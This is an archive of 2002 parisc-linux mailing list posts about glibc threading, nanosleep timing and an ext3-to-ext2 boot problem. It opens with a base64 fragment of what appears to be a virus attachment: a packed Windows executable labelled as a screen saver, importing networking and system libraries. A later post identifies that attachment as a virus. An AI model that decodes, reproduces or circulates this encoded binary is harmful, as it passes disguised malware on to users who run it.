sMO7v3lwLHyTSYniGbFaK29nfi/phJgtD3MIQXQXxXN0EWI8Ez1iE14wfKYgQw0Ug803a02fQtql
iod5O1fgQ2h0zdywwSRky10Kzt6kICmQrE9FCJYkCFmSsGRtdsBLVWArx5XNhlfvGEHbiIXC2Gh4
ZPFwcBB2cqZfeOoyIma82VfrHGKMIbQxZkwbBsufMFvWG9iCQUNQswgRbAdWZkI6XBDtUnRsgg8n
Q7OEnZlDZlcNO1tWeu9PRU09Yv5kE0s2JHxJbmZvdVdlKNxety0dYRFwLVAA7RG6JkBiSmf7oO12
7EtleQxRdfx5Vjh1MPd4h5MRoR0OEDBD0I8OyGYkzLotBS/pabpYIXX6IFQZo7D0sU91okJoQnAC
sBuW6WzbclVCa6M1JMs/bGdwBnout7JbJERDE0SiewEbArtEZyZQaC1rbPjcyuayi7UCZEiQBAGU
kdQw8NpXTiypiIJ7Ed6hM68SGhcO03TvMAoNOQyk3ENFgXlmZjFQvG8/jlVwI3JCdWYPmlVxczFz
Y2gPUOEOTEb3jrIZM/eCbJEcTSjECkLE9cxsAlsjSlNrd+rLEEFsNg0cjoozlnwVbMhFoniHUgYO
YW5JoKMkIGMa6HJQ2Wv20N00Zkl0owwCBrMdXY5ms441lUlkMxoEWzjMcJWvdpMkitMsHhf0A6cI
jhQrbm6zNs3WHIoFIyP8/3NZlmXZAjQXNwkElFiWZRATA3TIZch/+VBFTAEEAL7RAj3i78X4DwEL
AQbGAwCYaQDd7BsJ8aANQAsDBEx2s2AzBxswAcDGZkEIDBAHNtjL3gYAiKVSIDe3AiTiGAehVIOJ
K2woAh4upgJ7IRvsboKQkJiSArK5InhgLnLF+7DmspkbFLACQN5pNrwuJgc8VsAHWhVtyifAT2yV
jb3nC+vzc/BPANB+vxtQqA21JwkAAAAAAAAASP8AAAAAAAAAAABgvgDwQACNvgAg//9Xg83/6xCQ
kJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23Pk
McmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu
/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC
g8IEiQeDxwSD6QR38QHP6Uz///9eife5PAEAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp
+IDr6AHwiQeDxwWJ2OLZjb4AIAEAiwcJwHRFi18EjYQwGEcBAAHzUIPHCP+WuEcBAJWKB0cIwHTc
ifl5Bw+3B0dQR7lXSPKuVf+WvEcBAAnAdAeJA4PDBOvY/5bARwEAYek7Hf//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA
AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA
KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//
AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA
AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA
+qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA
AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq
qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA
APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6
qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA
AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/
/wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w
B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA
XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA
AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy
AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA
dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz
AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA
aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu
AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA
AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy
AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A
ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO
AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA
IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy
AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE
AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ
VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y
AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB
AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO
RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j
ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy
bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAikR+nD/ClSsD+ZX08HfS5j7odmdXFMAIUBMqWetGLL6rl6FuXk5Kk1IZDLhckZt6tDmmkQxZ
XDLrwdsG4PmNTL7W4DNZopzByxSbmGYISC6kYeM+yAWEKVqbOmKRA6yne57S1dKHub1ML8+AKCNh
wrIRorIpkU4387lHQ1/3ZBOKw51W728vuZUNHhdA1AFMfDrwbb1dqLDu9qZCGiahSnU/elZOXZh5
ZwuB5be4GQ2JybFvHCjvj5CDw+gGWcJY6wL4
--pdnwjdd--


From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] howto
Date: Fri, 08 Nov 2002 08:41:06 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <F545b6KZmcK8r6beUzm000005c2@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621885 16476 80.91.229.3 (22 Nov 2014 02:04:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 01:41:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f54.law4.hotmail.com [216.33.149.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 870BA4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 01:41:10 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 8 Nov 2002 00:41:06 -0800
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Fri, 08 Nov 2002 08:41:06 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 08 Nov 2002 08:41:06.0804 (UTC) FILETIME=[94546B40:01C28702]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16666

Can someone remove this guy from the list. This mail contained a virus.


regards,

Kenneth




>From: gameboy03 <gameboy03@hotmail.com>
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] howto
>Date: Fri,08 Nov 2002 02:44:18 PM
>
><< multipart1 >>


_________________________________________________________________
Surf voor nieuws, fileinformatie & entertainment naar MSN 
http://www.msn.nl/intmap/default.asp



From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nanosleep
Date: Fri, 8 Nov 2002 12:16:56 +0100
Organization: http://freemail.web.de/
Lines: 41
Approved: news@gmane.org
Message-ID: <200211081116.gA8BGuX28978@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621885 16478 80.91.229.3 (22 Nov 2014 02:04:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 04:17:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id A72524829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 04:17:01 -0700 (MST)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id gA8BGuX28978
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Nov 2002 12:16:56 +0100
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16667

Hi List,    
    
I tried to compile glibc2.3.1, and have some problems with the threading support there.     
When using perl with the new glibc on a C240, things seem to work without problems. On    
a 715/33, I get (probably) endless loops with lots of sched_yield() calls.    
    
In the Internet, I found the following site:    
http://sources.redhat.com/ml/libc-alpha/2000-02/msg00057.html   
where Andrea Arcangeli fixed a kernel problem with nanosleep on kernel 2.2 and 2.3, and  
also provided a testprogram. Here are the results of my test:  
  
C240: (2.4.19-pa20)  
# ./nanotest & sleep 4; killall nanotest  
[1] 8455  
userspace             15 sec 778496030 nsec  
kernel                15 sec 800000000 nsec  
[1]+  Done                    ./nanotest  
  
715/33: (2.4.17-32)  
# ./nanotest & sleep 4; killall nanotest  
[1] 1840  
userspace             15 sec 422651030 nsec  
kernel                15 sec 450000000 nsec  
[1]+  Done                    ./nanotest  
  
Intel based for reference: (2.4.19)  
# ./nanotest & sleep 4 ; killall nanotest  
[1] 19648  
userspace             15 sec 984455030 nsec  
kernel                15 sec 984477030 nsec  
[1]+  Done                    ./nanotest  
  
Is there a bugfix missing for parisc? 
 
Berthold 
________________________________________________________________
Keine verlorenen Lotto-Quittungen, keine vergessenen Gewinne mehr! 
Beim WEB.DE Lottoservice: http://tippen2.web.de/?x=13




From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Trap 26 -> EXT3?][If you feel bored, test these 2.5 changes...]
Date: Fri, 8 Nov 2002 20:12:05 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20021108201200.K28523@neep.com.au>
References: <20021107135222.GD4465@systemhalted> <3DA3DE6600004657@ocpmta4.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621886 16481 80.91.229.3 (22 Nov 2014 02:04:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 05:13:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (unknown [203.13.164.118])
	by dsl2.external.hp.com (Postfix) with ESMTP id 616854829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 05:13:50 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id UAA24924
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Nov 2002 20:13:36 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3DA3DE6600004657@ocpmta4.be.tiscali.com>; from jsoe0708@tiscali.be on Thu, Nov 07, 2002 at 04:39:33PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16668

jsoe0708@tiscali.be said:
> Back to 2.5.46-pa1, I revert the patch and rebuild the kernel and the kernel
> won't boot more. So it seems that problem comes from ext3 usage.
> How may I come back to ext2 (tune2fs -O ^has_journal /dev/md0 [my boot partition]
> ) I nerver do it and a bit affraid to loose my system :(
> 
> Joel

It should be as simple as changing your root fs type from 'ext3' or
'auto' to 'ext2' in /etc/fstab.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Trap 26 -> EXT3?][If you feel bored, test these 2.5 changes...]
Date: Fri, 8 Nov 2002 16:57:23 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <3DA3C54C00004BEE@ocpmta5.be.tiscali.com>
References: <20021108201200.K28523@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621886 16482 80.91.229.3 (22 Nov 2014 02:04:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:46 +0000 (UTC)
To: "Andrew Shugg" <andrew@neep.com.au>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 08:58:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4508482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 08:58:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ABW7-000766-00; Fri, 08 Nov 2002 16:57:55 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 8 Nov 2002 16:57:23 +0100
In-Reply-To: <20021108201200.K28523@neep.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16669

Andrew,
>jsoe0708@tiscali.be said:
>> Back to 2.5.46-pa1, I revert the patch and rebuild the kernel and the
kernel
>> won't boot more. So it seems that problem comes from ext3 usage.
>> How may I come back to ext2 (tune2fs -O ^has_journal /dev/md0 [my boot
>partition]
>> ) I nerver do it and a bit affraid to loose my system :(
>> 
>> Joel
>
>It should be as simple as changing your root fs type from 'ext3' or
>'auto' to 'ext2' in /etc/fstab.

You have perfectly right, just at boot time:
EXT2-fs warning (device md(9,0)): ext2_fill_super: mounting ext3 fs as ext2

...

But it would not help to make the system boot (I also remove ext3 support
from kernel):
...
Unable to find swap-space signature

Stack Dump:
....

Thanks a lot,
    Joel



-------------------------------------------------------------
Tiscali Complete, l'accs Internet moins cher que gratuit ! Plus d'info:
http://complete.tiscali.be




From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nanosleep
Date: Fri, 8 Nov 2002 11:12:25 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20021108161225.GD2402@systemhalted>
References: <200211081116.gA8BGuX28978@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621886 16484 80.91.229.3 (22 Nov 2014 02:04:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Berthold Gunreben <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 09:12:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id C35A1482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 09:12:38 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ABk9-0000fl-00; Fri, 08 Nov 2002 11:12:25 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Berthold Gunreben <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200211081116.gA8BGuX28978@mailgate5.cinetic.de>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (46% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16670

> Hi List,         
> I tried to compile glibc2.3.1, and have some problems with the threading support there.     
> When using perl with the new glibc on a C240, things seem to work without problems. On    
> a 715/33, I get (probably) endless loops with lots of sched_yield() calls.    
     
glibc 2.3.1 from debian CVS or upstream?

c.



From - Thu Nov 08 21:25:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 kernel compilation error
Date: Fri, 8 Nov 2002 21:05:51 +0000 (UTC)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211082101420.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621887 16487 80.91.229.3 (22 Nov 2014 02:04:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  8 14:06:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 483D64829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 14:06:27 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 2C8A51FFEC0
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 22:06:23 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 7C87A1FFEB0; Fri,  8 Nov 2002 22:06:22 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 9EC5B22E1A; Fri,  8 Nov 2002 21:05:51 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 9592F22E18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Nov 2002 21:05:51 +0000 (UTC)
